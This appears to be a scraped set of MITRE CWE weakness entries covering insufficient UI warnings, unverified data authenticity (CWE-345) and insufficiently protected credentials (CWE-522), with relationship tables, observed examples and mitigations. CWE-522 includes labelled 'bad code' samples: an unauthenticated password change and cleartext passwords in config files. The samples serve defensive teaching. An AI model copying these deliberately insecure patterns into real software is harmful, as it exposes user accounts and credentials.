2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-357: Insufficient UI Warning of Dangerous Operations

Weakness ID: 357
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.450Multiple Interpretations of UI Input
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.355User Interface Security Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation

Technical Impact: Hide Activities

+ Observed Examples
ReferenceDescription
User not sufficiently warned if host key mismatch occurs
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.996SFP Secondary Cluster: Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsufficient UI warning of dangerous operations
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-345: Insufficient Verification of Data Authenticity

Weakness ID: 345
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.346Origin Validation Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.347Improper Verification of Cryptographic Signature
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.348Use of Less Trusted Source
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.349Acceptance of Extraneous Untrusted Data With Trusted Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.351Insufficient Type Distinction
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.353Missing Support for Integrity Check
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.354Improper Validation of Integrity Check Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.360Trust of System Event Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.616Incomplete Identification of Uploaded File Variables (PHP)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.646Reliance on File Name or Extension of Externally-Supplied File
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.649Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.924Improper Enforcement of Message Integrity During Transmission in a Communication Channel
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1293Missing Source Correlation of Multiple Independent Data
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1304Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.346Origin Validation Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.347Improper Verification of Cryptographic Signature
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.354Improper Validation of Integrity Check Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.924Improper Enforcement of Message Integrity During Transmission in a Communication Channel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State

+ Demonstrative Examples

Example 1

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not sign firmware images.

+ Observed Examples
ReferenceDescription
Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks
Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks
Remote Terminal Unit (RTU) does not use signatures for firmware images and relies on insecure checksums
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1354OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

"origin validation" could fall under this.

Maintenance

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsufficient Verification of Data
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC12Content Spoofing
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 15: Not Updating Easily." Page 231. McGraw-Hill. 2010.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, References, Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Insufficient Verification of Data

CWE-522: Insufficiently Protected Credentials

Weakness ID: 522
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.256Plaintext Storage of a Password
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.257Storing Passwords in a Recoverable Format
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.260Password in Configuration File
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.261Weak Encoding for Password
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.523Unprotected Transport of Credentials
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.549Missing Password Field Masking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could gain access to user accounts and access sensitive data used by the user accounts.
+ Demonstrative Examples

Example 1

This code changes a user's password.

(bad code)
Example Language: PHP 
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
SetUserPassword($user, $pass);
}

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2

The following code reads a password from a properties file and uses the password to connect to a database.

(bad code)
Example Language: Java 
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3

The following code reads a password from the registry and uses the password to create a new network credential.

(bad code)
Example Language: Java 
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 4

Both of these examples verify a password by comparing it to a stored compressed version.

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(compress(password), compressed_password)) {
printf("Incorrect Password!\n");
return(0);
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
int VerifyAdmin(String password) {
if (passwd.Equals(compress(password), compressed_password)) {
return(0);
}
//Diagnostic Mode
return(1);
}

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 6

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission or storage of passwords in their OT products.

+ Observed Examples
ReferenceDescription
A messaging platform serializes all elements of User/Group objects, making private information available to adversaries
Initialization file contains credentials that can be decoded using a "simple string transformation"
Python-based RPC framework enables pickle functionality by default, allowing clients to unpickle untrusted data.
Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.
Building Controller uses a protocol that transmits authentication credentials in plaintext.
Programmable Logic Controller (PLC) sends password in plaintext.
Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.
Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.
Web application password change utility doesn't check the original password.
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Phase: Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Phase: Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

